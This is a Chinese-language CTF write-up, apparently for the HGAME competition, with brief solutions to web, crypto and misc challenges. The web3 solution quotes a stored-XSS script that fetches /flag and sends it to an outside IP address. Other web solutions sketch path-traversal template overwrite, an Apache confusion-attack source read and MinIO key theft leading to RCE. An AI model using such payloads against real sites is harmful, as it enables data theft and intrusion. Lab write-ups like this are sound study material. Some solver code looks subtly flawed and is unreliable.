签到
路边一条,一脚踹死
nc 那题直接连上就能执行 linux 指令

WEB
web1
糖豆人,直接前端找到加分规则修改一个 10000 分
或者直接前端找到 gift 的内容,两假一真,base64 解码得 flag
web2
乐队,可以上传文件和改名,改名那可以路径穿越,于是构造恶意 ejs 文件覆盖原来的文件即可 rce
执行命令 env,刷新重加载即可得到 flag
web3
留言板,爆破密码 shallot 888888
留言板中的留言直接写入了 html 文件,执行 html 命令可以成功,于是构造恶意留言,服务器有/admin,/flag 路由,/flag 路由显示只能由 admin 访问,(想了想还是粘个代码吧
1 2 3 4 5 6 7 8 9
| <script> fetch('/flag') .then(response => response.text()) .then(flagContent => { // 将 Flag 发送到攻击者服务器 fetch('https://82.157.129.178:80/?flag=' + encodeURIComponent(flagContent)); }); </script>
|
(应该是这个(
uridecode 一下就得到 flag 了
web5
Level 38475 角落
有 robots.txt,可知 app.py 位置,但是发现他不可读。
通过
RewriteEngine On
RewriteCond “%{HTTP_USER_AGENT}” “^L1nk/“
RewriteRule “^/admin/(.*)$” “/$1.html?secret=todo”
发现用 admin 读取源码会被重指向,不能直接读
https://httpd.apache.ac.cn/security/vulnerabilities_24.html
https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/
大佬发现的漏洞,用?截断,于是我们可以看到源码

只 waf 了{
无路可走 有了:条件竞争,同时读和写(具体原理没搞懂)
用 bp 不断发送注入语句

yakit 读取 read 页面

得到 hgame{YOU-Find-ThE-k3y_t0-rRrac3-oUUUUt2a76ddc}
web4
Level 25 双面人派对
给了一个 main,不知道是啥 好像是 minio 的管理代码编译后的东东,不是很清楚
upx 脱壳后发现其中有个 minio 的项目,找到其中的 key

使用 mc 连接到另一个靶机上的 minio

下载其中文件
hints 中是源码,prodbucket 中是一个 update,跟 main 好像是一样的
查看源码,是一个 go 的项目,用了 gin,他只有一个路由,猜测是第一个靶机的源码
我们向其中添加代码


上传

Rce

CRYPTO
c3 sieve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| **结合题目给出的信息,采用两种筛法解出trick:** from sage.all import prime_pi, next_prime, inverse_mod from Crypto.Util.number import long_to_bytes def compute_sum_phi(k): if k == 0: return 0 phi = list(range(k + 1)) sum_phi = 1 for p in range(2, k + 1): if phi[p] == p: phi[p] = p - 1 for multiple in range(p*2, k+1, p): phi[multiple] -= phi[multiple] sum_phi += phi[p] return sum_phi e = 65537 k = (e ** 2) enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546 print("计算欧拉函数前缀和...") sum_phi = compute_sum_phi(k) print(f"sum_phi = {sum_phi}") print("计算素数个数...") pi_k = prime_pi(k) print(f"pi_k = {pi_k}") T = sum_phi + pi_k print(f"trick(k) = {T}")
**根据得到的值解rsa** : from Cryptodome.Util.number import long_to_bytes from sympy import mod_inverse, nextprime e = 65537 enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546 trick_result = 155763335447735055 p = q = nextprime(trick_result << 128) n = p * q phi_n = p * (q - 1) d = pow(e, -1, phi_n) m_decrypted = pow(enc, d, n) decrypted_flag = long_to_bytes(m_decrypted) print(decrypted_flag)
|

Misc
Hakuya Want A Girl Friend
下载附件,发现是存有 hex 值的文本,有 zip 和反过来的 png,分离并生成文件,zip 有密码,png 长度被修改过,修正后发现密码,得到 flag

Level 314 线性走廊中的双生实体
.pt 文件可以转为 zip,解压后看到代码,发现类中有 flag
1 2 3 4 5 6 7 8 9 10 11 12
| import torch
model = torch.jit.load('entity.pt', map_location='cpu')
security_layer = model.security
flag_numbers = security_layer.flag flag = ''.join([chr(c ^ 85) for c in flag_numbers])
print("Flag:", flag)
|

Computer cleaner
下载发现版本不对,修改文件将 21 改为 17,成功运行,进入后 document 中有 part3,

简单溯源 121.41.34.25 访问得到 flag

